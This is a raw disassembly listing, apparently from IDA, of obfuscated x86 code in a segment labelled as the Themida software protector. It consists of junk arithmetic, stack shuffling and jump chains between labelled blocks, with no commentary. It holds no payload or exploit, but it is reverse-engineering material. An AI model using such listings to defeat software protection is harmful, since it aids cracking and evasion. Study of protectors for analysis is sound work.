		sub	ecx, 9A56A01h
		add	ecx, 5E36634Ch
		add	ecx, ebp
		push	ebx
		mov	ebx, 189930AEh
		not	ebx
		sub	ebx, 89306C05h
		sub	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, 9A56A01h
		mov	ebp, [esp]
		add	esp, 4
		push	456Fh
		mov	[esp], eax
		push	ebx
		push	5B942007h
		pop	ebx
		push	ecx
		push	eax
		mov	eax, 4BE97A6Fh
		jmp	loc_5746E9
; ---------------------------------------------------------------------------


loc_571213:				; CODE XREF: Themida_:00570D4Fj
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	esi, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_571EAE
; ---------------------------------------------------------------------------


loc_571232:				; CODE XREF: Themida_:0056E63Aj
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_571949
; ---------------------------------------------------------------------------


loc_57123D:				; CODE XREF: Themida_:00572FACj
		push	7198h
		mov	[esp], ebx
		mov	ebx, 11F77FA3h
		shl	ebx, 2
		not	ebx
		shr	ebx, 8
		xor	ebx, 694163Eh
		push	ebp
		mov	ebp, ebx
		mov	ecx, ebp
		pop	ebp
		jmp	loc_56FD22
; ---------------------------------------------------------------------------


loc_571263:				; CODE XREF: Themida_:00568AD5j
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		jmp	loc_5737FD
; ---------------------------------------------------------------------------


loc_571278:				; CODE XREF: Themida_:00569513j
		pop	edi
		xor	eax, edx
		pop	edx
		add	edi, eax
		jmp	loc_572876
; ---------------------------------------------------------------------------


loc_571283:				; CODE XREF: Themida_:00572776j
		pop	edx
		push	edi
		mov	edi, 0FFFFFFFFh
		add	eax, edi
		jmp	loc_566CFA
; ---------------------------------------------------------------------------


loc_571291:				; CODE XREF: Themida_:00562466j
		add	esp, 4
		and	ebx, ebp
		jmp	loc_565FF8
; ---------------------------------------------------------------------------


loc_57129E:				; CODE XREF: Themida_:0056DF35j
		push	eax
		mov	eax, 73643B79h
		xor	ebp, eax
		pop	eax
		mov	edi, ebp
		jmp	loc_56453B
; ---------------------------------------------------------------------------


loc_5712AE:				; CODE XREF: Themida_:0056EC7Fj
		inc	ecx
		push	edi
		jmp	loc_56C386
; ---------------------------------------------------------------------------


loc_5712B5:				; CODE XREF: Themida_:0056A97Dj
		sub	edx, 1D68792Bh
		jmp	loc_56DF8D
; ---------------------------------------------------------------------------


loc_5712C0:				; CODE XREF: Themida_:00569ACAj
		shr	ecx, 2
		jmp	loc_57202E
; ---------------------------------------------------------------------------


loc_5712C8:				; CODE XREF: Themida_:00561CA9j
		add	esp, 4
		add	edi, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], esi
		push	2
		jmp	loc_5642E0
; ---------------------------------------------------------------------------


loc_5712E4:				; CODE XREF: Themida_:00569414j
		mov	ecx, 56EC1B8Eh
		shl	ecx, 7
		jmp	loc_5630EC
; ---------------------------------------------------------------------------


loc_5712F1:				; CODE XREF: Themida_:005676D9j
		dec	ebp
		push	esi
		mov	esi, 2E016DC4h
		xor	ebp, esi
		pop	esi
		xor	ebp, 20507645h
		sub	edi, ebp
		jmp	loc_56F131
; ---------------------------------------------------------------------------


loc_571308:				; CODE XREF: Themida_:0055FA06j
		mov	ebp, 42405E71h
		jmp	loc_56A4D2
; ---------------------------------------------------------------------------


loc_571312:				; CODE XREF: Themida_:005629B7j
		sub	esp, 4
		jmp	loc_56E89B
; ---------------------------------------------------------------------------


loc_57131D:				; CODE XREF: Themida_:00572980j
		shl	dword ptr [esp], cl
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_571325:				; CODE XREF: Themida_:00565839j
		mov	[esp], esp
		push	edi
		mov	edi, 4
		sub	dword ptr [esp+4], 786A4EA0h
		add	[esp+4], edi
		add	dword ptr [esp+4], 786A4EA0h
		jmp	loc_5723F6
; ---------------------------------------------------------------------------


loc_571347:				; CODE XREF: Themida_:005717B0j
		sub	[esp], al
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_571350:				; CODE XREF: Themida_:0055FA93j
		or	cl, 1Fh
		jmp	loc_573E55
; ---------------------------------------------------------------------------


loc_571358:				; CODE XREF: Themida_:00563B2Fj
		pop	esp
		sub	esp, 4
		jmp	loc_561492
; ---------------------------------------------------------------------------


loc_571364:				; CODE XREF: Themida_:005713DEj
		mov	eax, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	dword ptr [edx], 1
		pop	edx


loc_571388:				; CODE XREF: Themida_:0056003Aj
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		push	esi
		mov	esi, 137C49D5h
		jmp	loc_56580F
; ---------------------------------------------------------------------------


loc_5713A5:				; CODE XREF: Themida_:0056B72Fj
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_567977
; ---------------------------------------------------------------------------


loc_5713AF:				; CODE XREF: Themida_:0056E896j
		mov	edi, 37D5D4Ch
		push	ebx
		push	71187B14h
		pop	ebx
		shl	ebx, 1
		inc	ebx
		push	ecx
		mov	ecx, 5FF6775Bh
		or	ebx, ecx
		jmp	loc_56975B
; ---------------------------------------------------------------------------


loc_5713CB:				; CODE XREF: Themida_:0056461Fj
		pop	edx
		xor	ecx, [esp]
		jmp	loc_56F3B4
; ---------------------------------------------------------------------------


loc_5713D4:				; CODE XREF: Themida_:005674A8j
		mov	[esp], eax
		mov	eax, 4
		add	edi, eax
		jmp	loc_571364
; ---------------------------------------------------------------------------


loc_5713E3:				; CODE XREF: Themida_:00566CA5j
		sub	ebp, 53A23B77h
		sub	ebp, ecx
		add	ebp, 53A23B77h
		pop	ecx
		sub	ebp, 21A72DD7h
		jmp	loc_56AD08
; ---------------------------------------------------------------------------


loc_5713FD:				; CODE XREF: Themida_:00563AE4j
		mov	[esp], edx
		jmp	loc_56D852
; ---------------------------------------------------------------------------


loc_571405:				; CODE XREF: Themida_:0055FF88j
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		sub	ebx, 83C7437h
		jmp	loc_55FCA8
; ---------------------------------------------------------------------------


loc_571420:				; CODE XREF: Themida_:0056CBBCj
		mov	[esp], ebp
		push	edi
		mov	edi, 544E4752h
		mov	ebp, edi
		pop	edi
		jmp	loc_569E26
; ---------------------------------------------------------------------------


loc_571431:				; CODE XREF: Themida_:0055FE7Dj
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	4D93h
		mov	[esp], esi
		push	edi
		push	ebp
		push	eax
		pop	ebp
		push	ebx
		mov	ebx, ebp
		mov	edi, ebx
		pop	ebx
		jmp	loc_56584D
; ---------------------------------------------------------------------------


loc_571455:				; CODE XREF: Themida_:0056F77Aj
		sub	dword ptr [esp+4], 447C208Eh
		sub	[esp+4], esi
		add	dword ptr [esp+4], 447C208Eh
		jmp	loc_574278
; ---------------------------------------------------------------------------


loc_57146E:				; CODE XREF: Themida_:0056D4C8j
		mov	[esp], edi
		push	esp
		pop	edi
		push	ebp
		jmp	loc_570896
; ---------------------------------------------------------------------------


loc_571479:				; CODE XREF: Themida_:00565627j
		sub	dl, 0C3h
		sub	dl, bh
		add	dl, 0C3h
		jmp	loc_568E65
; ---------------------------------------------------------------------------


loc_571486:				; CODE XREF: Themida_:0056E234j
		pop	ebx
		mov	edi, 0E936DFA0h
		add	edi, ecx
		pop	ecx
		push	ebp
		mov	ebp, 7E292DB4h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_572A26
; ---------------------------------------------------------------------------


loc_57149D:				; CODE XREF: Themida_:0056130Fj
		pop	esp
		push	ecx
		jmp	loc_569A73
; ---------------------------------------------------------------------------


loc_5714A4:				; CODE XREF: Themida_:00574787j
		push	dword ptr [esp+4]
		pop	ebp
		jmp	loc_571AA1
; ---------------------------------------------------------------------------


loc_5714AE:				; CODE XREF: Themida_:005742E4j
		and	ecx, edx
		jmp	loc_56DE3C
; ---------------------------------------------------------------------------


loc_5714B5:				; CODE XREF: Themida_:0056F9D8j
		mov	bp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 2
		xchg	eax, [esp]
		mov	esp, [esp]
		push	small 7348h
		mov	[esp], bp
		jmp	loc_561BCB
; ---------------------------------------------------------------------------


loc_5714D9:				; CODE XREF: Themida_:00562CD5j
		pop	ecx
		jmp	loc_56B784
; ---------------------------------------------------------------------------


loc_5714DF:				; CODE XREF: Themida_:0056A3B7j
		add	bh, 0C5h
		jmp	loc_56AE23
; ---------------------------------------------------------------------------


loc_5714E7:				; CODE XREF: Themida_:00572FB9j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55FAA7
; ---------------------------------------------------------------------------


loc_5714F0:				; CODE XREF: Themida_:0056314Ej
		inc	edx
		add	edx, 709004D6h
		dec	edx
		xor	edx, 7F4BAD10h
		sub	ebx, edx
		jmp	loc_565997
; ---------------------------------------------------------------------------


loc_571505:				; CODE XREF: Themida_:0056560Dj
		xor	ecx, 4A7A3E75h
		xor	ecx, 7CC1510Dh
		mov	edi, ecx
		pop	ecx
		not	edi
		inc	edi
		jmp	loc_570175
; ---------------------------------------------------------------------------


loc_57151C:				; CODE XREF: Themida_:00572AC8j
		mov	edx, 0B6F3F30h
		xor	edx, 484E33D9h
		jmp	loc_567BC0
; ---------------------------------------------------------------------------


loc_57152C:				; CODE XREF: Themida_:00562DF2j
		mov	edi, esp
		add	edi, 4
		push	ebx
		jmp	loc_56937A
; ---------------------------------------------------------------------------


loc_57153A:				; CODE XREF: Themida_:0056D29Fj
		mov	ebp, esp
		jmp	loc_567535
; ---------------------------------------------------------------------------


loc_571541:				; CODE XREF: Themida_:0056782Ej
		mov	[esp], ecx
		push	eax
		push	ecx
		mov	ecx, 118D0E87h
		or	ecx, 45A66FA0h
		sub	ecx, 1CE46D81h
		mov	eax, ecx
		pop	ecx
		mov	ecx, eax
		pop	eax
		not	ecx
		sub	ecx, 1
		dec	ecx
		sub	ecx, 6B3C9E5Eh
		add	edx, 376556E2h
		jmp	loc_5610F2
; ---------------------------------------------------------------------------


loc_571577:				; CODE XREF: Themida_:0056A013j
		mov	bh, 0A9h
		jmp	loc_56CB45
; ---------------------------------------------------------------------------


loc_57157E:				; CODE XREF: Themida_:00563EB8j
		pop	ecx
		or	ebx, 7C6F5658h
		jmp	loc_5612F9
; ---------------------------------------------------------------------------


loc_57158A:				; CODE XREF: Themida_:0055F9A3j
		add	eax, ebx
		pop	ebx
		mov	edi, eax
		pop	eax
		mov	edx, 1F130D43h
		xor	edx, edi
		pop	edi
		push	edx
		sub	dword ptr [esp], 50E570EAh
		pop	ecx
		add	ecx, 50E570EAh
		pop	edx
		push	ecx
		mov	ebp, [esp]
		add	esp, 4
		pop	ecx
		shl	ebp, 3
		shl	ebp, 3
		jmp	loc_56598C
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 26h
		jmp	loc_5701FF
; ---------------------------------------------------------------------------


loc_5715C6:				; CODE XREF: Themida_:005646B9j
		pop	edx
		xor	ecx, [esp]
		jmp	loc_56583E
; ---------------------------------------------------------------------------


loc_5715CF:				; CODE XREF: Themida_:00572101j
		xchg	eax, [esp]
		jmp	loc_56BC56
; ---------------------------------------------------------------------------


loc_5715D7:				; CODE XREF: Themida_:00572712j
		add	dword ptr [esp], 4
		mov	eax, [esp]
		push	esi
		jmp	loc_56EC31
; ---------------------------------------------------------------------------


loc_5715E7:				; CODE XREF: Themida_:00569030j
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], eax
		mov	al, 88h
		dec	al
		dec	al
		not	al
		jmp	loc_5603DC
; ---------------------------------------------------------------------------


loc_5715FB:				; CODE XREF: Themida_:00567116j
		add	ah, 0F8h
		mov	cx, [esp]
		add	esp, 2
		mov	dh, ah
		jmp	loc_573828
; ---------------------------------------------------------------------------


loc_57160C:				; CODE XREF: Themida_:0056FBF0j
		mov	esi, 6014233h
		add	eax, 25FE2F81h
		add	eax, 677352EFh
		jmp	loc_56D64C
; ---------------------------------------------------------------------------


loc_571620:				; CODE XREF: Themida_:0055FD5Aj
		add	ecx, ebx
		add	ecx, 706B7067h
		pop	ebx
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_56E470
; ---------------------------------------------------------------------------


loc_571638:				; CODE XREF: Themida_:0056735Aj
		mov	eax, 2E784804h
		jmp	loc_57231A
; ---------------------------------------------------------------------------


loc_571642:				; CODE XREF: Themida_:005660E7j
		pop	eax
		xor	ebx, 0CDBBDD0Ah
		sub	ebp, ebx
		pop	ebx
		not	ebp
		sub	ebp, 4CC96B1Ah
		jmp	loc_56823E
; ---------------------------------------------------------------------------


loc_571659:				; CODE XREF: Themida_:0056F3B7j
		xor	ecx, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_571668:				; CODE XREF: Themida_:00560E26j
		xor	[esp], eax
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_571671:				; CODE XREF: Themida_:0056F5F2j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_560D26
; ---------------------------------------------------------------------------


loc_57167D:				; CODE XREF: Themida_:0056A6FFj
		mov	edx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		jmp	loc_565EF4
; ---------------------------------------------------------------------------


loc_57168B:				; CODE XREF: Themida_:005735B0j
		dec	edx
		push	ebx
		mov	ebx, 110C0B83h
		and	ebx, 4F006BDFh
		dec	ebx
		jmp	loc_56D040
; ---------------------------------------------------------------------------


loc_57169E:				; CODE XREF: Themida_:00569045j
		mov	edi, [esp]
		add	esp, 4
		push	39BCh
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	ebp
		jmp	loc_5726DD
; ---------------------------------------------------------------------------


loc_5716BD:				; CODE XREF: Themida_:00566C4Fj
		pop	eax
		push	eax
		jmp	loc_5604C7
; ---------------------------------------------------------------------------


loc_5716C4:				; CODE XREF: Themida_:005717EFj
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55FF38
; ---------------------------------------------------------------------------


loc_5716CD:				; CODE XREF: Themida_:00561656j
		pop	cx
		jmp	loc_5660AA
; ---------------------------------------------------------------------------


loc_5716D4:				; CODE XREF: Themida_:00561068j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_56092B
; ---------------------------------------------------------------------------


loc_5716E2:				; CODE XREF: Themida_:0056F3A2j
		add	esp, 2
		sub	bx, si
		mov	esi, [esp]
		jmp	loc_573BFF
; ---------------------------------------------------------------------------


loc_5716F3:				; CODE XREF: Themida_:00571A2Fj
		mov	ebp, 3F5C79FBh
		shr	ebp, 2
		push	edx
		mov	edx, 32226ACBh
		xor	edx, 72032AD7h
		push	edx
		inc	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 3EB435EAh
		xor	edx, edi
		jmp	loc_5696BB
; ---------------------------------------------------------------------------


loc_571721:				; CODE XREF: Themida_:0056E5A1j
		mov	edi, 4
		add	ecx, edi
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		jmp	loc_56C255
; ---------------------------------------------------------------------------


loc_571733:				; CODE XREF: Themida_:00567162j
		sub	dword ptr [esp+4], 668F73B5h
		add	[esp+4], edi
		add	dword ptr [esp+4], 668F73B5h
		push	dword ptr [esp]
		jmp	loc_572721
; ---------------------------------------------------------------------------


loc_57174F:				; CODE XREF: Themida_:00560FEDj
		xor	ecx, [esp]
		xor	[esp], ecx
		not	ecx
		xchg	ecx, [esp]
		jmp	loc_561CD4
; ---------------------------------------------------------------------------


loc_57175F:				; CODE XREF: Themida_:00568607j
		pop	ebx
		jmp	loc_568318
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	5196h
		mov	[esp], ecx
		push	3556h
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_573729
; ---------------------------------------------------------------------------


loc_571784:				; CODE XREF: Themida_:00562F72j
		sub	edi, 4CDB5267h
		add	edi, 184A1EB1h
		sub	edi, edx
		sub	edi, 184A1EB1h
		push	ebx
		mov	ebx, 225C4B18h
		jmp	loc_564694
; ---------------------------------------------------------------------------


loc_5717A3:				; CODE XREF: Themida_:0056F080j
		mov	esi, edx
		pop	edx
		push	esi
		pop	ebp
		jmp	loc_56576E
; ---------------------------------------------------------------------------


loc_5717AD:				; CODE XREF: Themida_:005613E5j
		mov	esp, [esp]
		jmp	loc_571347
; ---------------------------------------------------------------------------


loc_5717B5:				; CODE XREF: Themida_:0056E22Dj
		sub	edx, 0C38DA49Dh
		add	edi, 30206C2Bh
		add	edi, edx
		push	eax
		mov	eax, 68376F09h
		jmp	loc_570127
; ---------------------------------------------------------------------------


loc_5717CE:				; CODE XREF: Themida_:0056D979j
		add	eax, 0FE1A3F40h
		mov	ecx, 79B842BEh
		xor	ecx, eax
		pop	eax
		add	ebp, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5716C4
; ---------------------------------------------------------------------------


loc_5717F4:				; CODE XREF: Themida_:0056931Ej
		push	esp
		pop	ebx
		push	ecx
		jmp	loc_571904
; ---------------------------------------------------------------------------


loc_5717FC:				; CODE XREF: Themida_:00561E4Bj
		xor	al, 0B3h
		push	edx
		push	eax
		mov	al, 0E3h
		mov	dh, 1Ah
		sub	dh, al
		pop	eax
		jmp	loc_5745CA
; ---------------------------------------------------------------------------


loc_57180C:				; CODE XREF: Themida_:00571CC5j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_573EEC
; ---------------------------------------------------------------------------


loc_57181A:				; CODE XREF: Themida_:00566C0Cj
		xor	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	2850h
		mov	[esp], esi
		jmp	loc_565B05
; ---------------------------------------------------------------------------


loc_57182E:				; CODE XREF: Themida_:0056E902j
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_56241A
; ---------------------------------------------------------------------------


loc_57183C:				; CODE XREF: Themida_:00562B6Aj
		xor	edi, 12B11ED3h
		xor	edi, 2EBD456Fh
		dec	edi
		sub	edi, 0A179AA98h
		add	ebp, 782338F8h
		sub	ebp, edi
		sub	ebp, 782338F8h
		jmp	loc_57103F
; ---------------------------------------------------------------------------


loc_571862:				; CODE XREF: Themida_:005663A8j
		mov	dl, bh
		pop	ebx
		push	ebx
		push	12CDh
		mov	[esp], edx
		push	ecx
		jmp	loc_571166
; ---------------------------------------------------------------------------


loc_571874:				; CODE XREF: Themida_:0056ED5Ej
		mov	edi, 53CF67A4h
		inc	edi
		push	33E7h
		mov	[esp], eax
		push	ebp
		jmp	loc_56EFA4
; ---------------------------------------------------------------------------


loc_571888:				; CODE XREF: Themida_:00570007j
		mov	[esp], edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 26B027C4h
		push	ebp
		mov	ebp, 0AC45422h
		mov	edx, ebp
		pop	ebp
		xor	edx, ebx
		pop	ebx
		push	edx
		push	ecx
		mov	ecx, 783913C4h
		xor	[esp+4], ecx
		jmp	loc_56972B
; ---------------------------------------------------------------------------


loc_5718BF:				; CODE XREF: Themida_:00572E8Bj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		add	ebp, 4
		push	esi
		mov	esi, 4
		add	ebp, esi
		mov	esi, [esp]
		jmp	loc_56D4B2
; ---------------------------------------------------------------------------


loc_5718DD:				; CODE XREF: Themida_:00567618j
		sub	esp, 4
		jmp	loc_560B49
; ---------------------------------------------------------------------------


loc_5718E5:				; CODE XREF: Themida_:0055F861j
		shl	ebp, 4
		sub	ebp, 0D16EF476h
		add	edi, ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_566D4F
; ---------------------------------------------------------------------------


loc_5718FC:				; CODE XREF: Themida_:00565394j
		add	edi, ecx
		pop	ecx
		jmp	loc_563457
; ---------------------------------------------------------------------------


loc_571904:				; CODE XREF: Themida_:005717F7j
		mov	ecx, 69AE6FCAh
		neg	ecx
		inc	ecx
		jmp	loc_569557
; ---------------------------------------------------------------------------


loc_571911:				; CODE XREF: Themida_:0056E251j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		push	eax
		mov	eax, 310D2C44h
		not	eax
		jmp	loc_55F997
; ---------------------------------------------------------------------------


loc_571940:				; CODE XREF: Themida_:005705D1j
		pop	esp
		mov	[esp], esi
		jmp	loc_55FDEF
; ---------------------------------------------------------------------------


loc_571949:				; CODE XREF: Themida_:00571238j
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_560353
; ---------------------------------------------------------------------------


loc_571958:				; CODE XREF: Themida_:0056263Cj
		add	bh, dl
		pop	edx
		sub	al, 81h
		jmp	loc_568D89
; ---------------------------------------------------------------------------


loc_571962:				; CODE XREF: Themida_:0056C81Bj
		add	esp, 4
		push	edi
		jmp	loc_56F002
; ---------------------------------------------------------------------------


loc_57196E:				; CODE XREF: Themida_:0056FAD7j
		xchg	ebx, [esp]
		jmp	loc_5672FC
; ---------------------------------------------------------------------------


loc_571976:				; CODE XREF: Themida_:005648DAj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	4B49h
		mov	[esp], ebx
		mov	ebx, 4
		add	ecx, 2EE27B39h
		add	ecx, ebx
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	edx
		push	edi
		jmp	loc_55F8BC
; ---------------------------------------------------------------------------


loc_5719A2:				; CODE XREF: Themida_:005736FAj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	eax, 4D2F6C65h
		jmp	loc_563AC9
; ---------------------------------------------------------------------------


loc_5719BC:				; CODE XREF: Themida_:0056F114j
		push	eax
		jmp	loc_56A8E0
; ---------------------------------------------------------------------------


loc_5719C2:				; CODE XREF: Themida_:00569560j
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_571BD0
; ---------------------------------------------------------------------------


loc_5719DA:				; CODE XREF: Themida_:00570ECDj
		push	ebp
		mov	ebp, 4
		add	edx, ebp
		pop	ebp
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		add	ebx, 2
		xchg	ebx, [esp]
		jmp	loc_563940
; ---------------------------------------------------------------------------


loc_5719F8:				; CODE XREF: Themida_:0056A500j
		push	ebp
		mov	ebp, edi
		mov	ebx, ebp
		pop	ebp
		pop	edi
		or	ebx, 1BBA226Fh
		jmp	loc_56661D
; ---------------------------------------------------------------------------


loc_571A0A:				; CODE XREF: Themida_:0056E459j
		xchg	edx, ecx
		dec	edx
		xchg	edx, ecx
		push	ebx
		push	esi
		mov	esi, 2AD56AD1h
		mov	ebx, esi
		jmp	loc_56428D
; ---------------------------------------------------------------------------


loc_571A1D:				; CODE XREF: Themida_:0056EB66j
		dec	esi
		sub	esi, 576927BEh
		jmp	loc_565DB6
; ---------------------------------------------------------------------------


loc_571A29:				; CODE XREF: Themida_:0056F473j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5716F3
; ---------------------------------------------------------------------------


loc_571A34:				; CODE XREF: Themida_:0056E114j
		add	ebx, ecx
		pop	ecx
		jmp	loc_56F965
; ---------------------------------------------------------------------------


loc_571A3C:				; CODE XREF: Themida_:0056254Ej
		push	edx
		mov	dl, 56h
		mov	ch, 52h
		add	ch, 48h
		jmp	loc_564604
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp],	cl
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 27B64ED3h
		jmp	loc_56A1D6
; ---------------------------------------------------------------------------


loc_571A6C:				; CODE XREF: Themida_:00569C49j
		mov	edi, 6A2F4D56h
		not	edi
		shl	edi, 8
		push	10FEh
		mov	[esp], ecx
		mov	ecx, 7B6469A2h
		add	edi, ecx
		jmp	loc_55F920
; ---------------------------------------------------------------------------


loc_571A8A:				; CODE XREF: Themida_:0056EC9Cj
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_571A8F:				; CODE XREF: Themida_:00560A3Bj
		push	cx
		pushf
		jmp	loc_55F55C
; ---------------------------------------------------------------------------


loc_571A97:				; CODE XREF: Themida_:0056535Dj
		push	ebx
		mov	bl, 0BDh
		mov	dh, 5Eh
		jmp	loc_573156
; ---------------------------------------------------------------------------


loc_571AA1:				; CODE XREF: Themida_:005714A9j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_56FD13
; ---------------------------------------------------------------------------


loc_571AAA:				; CODE XREF: Themida_:00571033j
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_560CFD
; ---------------------------------------------------------------------------


loc_571ABF:				; CODE XREF: Themida_:00561481j
		pop	ecx
		jmp	loc_566C5E
; ---------------------------------------------------------------------------


loc_571AC5:				; CODE XREF: Themida_:00565B15j
		add	esp, 4
		pop	esi
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5679C5
; ---------------------------------------------------------------------------


loc_571ADC:				; CODE XREF: Themida_:00569D81j
		sub	dh, 5Ah
		xor	dh, 0E5h
		jmp	loc_56A5D4
; ---------------------------------------------------------------------------


loc_571AE7:				; CODE XREF: Themida_:00566AD5j
		mov	esi, 65EE65B4h
		shl	esi, 1
		dec	esi
		shr	esi, 2
		xor	esi, 32F732DDh
		add	edx, esi
		pop	esi
		push	ecx
		mov	ecx, 4
		push	ebp
		mov	ebp, 0E5C10ADh
		add	ebp, 6150173Bh
		sub	edx, ebp
		jmp	loc_56C840
; ---------------------------------------------------------------------------


loc_571B14:				; CODE XREF: Themida_:0056739Bj
		push	5ED6h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		sub	esp, 4
		jmp	loc_56B9B8
; ---------------------------------------------------------------------------


loc_571B2E:				; CODE XREF: Themida_:005632D2j
		push	edi
		push	ebp
		push	eax
		mov	eax, 12CD7759h
		push	ebp
		jmp	loc_5727ED
; ---------------------------------------------------------------------------


loc_571B3C:				; CODE XREF: Themida_:00563933j
		mov	edx, 39B1319Ch
		push	1771h
		jmp	loc_5609E2
; ---------------------------------------------------------------------------


loc_571B4B:				; CODE XREF: Themida_:00572A0Cj
		add	ebx, edi
		pop	edi
		push	ecx
		mov	ecx, 4
		jmp	loc_56CC6B
; ---------------------------------------------------------------------------


loc_571B59:				; CODE XREF: Themida_:0056C957j
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_572B8D
; ---------------------------------------------------------------------------


loc_571B90:				; CODE XREF: Themida_:005666B1j
		mov	[esp], edx
		jmp	loc_57469E
; ---------------------------------------------------------------------------


loc_571B98:				; CODE XREF: Themida_:0055FBA2j
					; Themida_:005662E5j ...
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		jmp	loc_5693B5
; ---------------------------------------------------------------------------


loc_571BAD:				; CODE XREF: Themida_:005742CCj
		sub	ebx, 71E7723Ah
		xor	ebx, 94919BC0h
		or	ecx, ebx
		pop	ebx
		push	ebp
		mov	ebp, 5C0E6EA1h
		sub	ecx, ebp
		pop	ebp
		sub	ecx, 763124AAh
		jmp	loc_56B7F7
; ---------------------------------------------------------------------------


loc_571BD0:				; CODE XREF: Themida_:005719D5j
		push	eax
		mov	eax, 2
		sub	ebx, eax
		jmp	loc_566BED
; ---------------------------------------------------------------------------


loc_571BDD:				; CODE XREF: Themida_:0055F753j
		push	ebx
		mov	ebx, 1DA96D2Bh
		add	ebx, 2469027Fh
		shr	ebx, 8
		sub	ebx, 6A65721Ch
		not	ebx
		neg	ebx
		push	esi
		mov	esi, 6FD433AEh
		shl	esi, 3
		jmp	loc_56DDEB
; ---------------------------------------------------------------------------


loc_571C04:				; CODE XREF: Themida_:0056A193j
		push	ecx
		jmp	loc_572784
; ---------------------------------------------------------------------------


loc_571C0A:				; CODE XREF: Themida_:0056FEA0j
		mov	[esp], eax
		jmp	loc_56199B
; ---------------------------------------------------------------------------


loc_571C12:				; CODE XREF: Themida_:00563034j
		mov	ebx, edx
		pop	edx
		add	ebx, eax
		add	[ebx], ebp
		pop	ebx
		pop	eax
		pop	edx
		pop	ebp


loc_571C1D:				; CODE XREF: Themida_:0056FCDAj
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		mov	ebp, ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	edi, [esp]
		add	esp, 4
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		jmp	loc_56D625
; ---------------------------------------------------------------------------


loc_571C41:				; CODE XREF: Themida_:00561339j
		push	esi
		mov	esi, 4BD33766h
		jmp	loc_56AC46
; ---------------------------------------------------------------------------


